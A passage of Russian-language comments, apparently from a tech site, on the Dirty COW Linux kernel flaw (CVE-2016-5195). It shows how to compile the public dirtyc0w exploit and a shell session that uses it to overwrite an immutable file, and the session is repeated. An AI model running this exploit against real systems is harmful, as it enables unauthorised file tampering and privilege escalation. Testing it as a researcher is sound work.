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@SironyCh
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В ядре Linux обнаружена опасная 0-day уязвимость Dirty COW (CVE-2016-5195)
SironyCh
Oct 21 2016 at 16:41
В debian 8.4 — без проблем: gcc -lpthread dirtyc0w.c -o dirtyc0w
В ядре Linux обнаружена опасная 0-day уязвимость Dirty COW (CVE-2016-5195)
SironyCh
Oct 21 2016 at 15:22
Атрибут immutable не канает:
$ cat foo
I do it every day!
$ lsattr foo
----i----------- foo
$ ./dirtyc0w foo «I do what I want!»
mmap 14922000
madvise 0
procselfmem 1700000000
$ cat foo
I do what I want!!!
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October 21 2016
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November 24 2016 at 17:59
$ cat foo
I do it every day!
$ lsattr foo
----i----------- foo
$ ./dirtyc0w foo «I do what I want!»
mmap 14922000
madvise 0
procselfmem 1700000000
$ cat foo
I do what I want!!!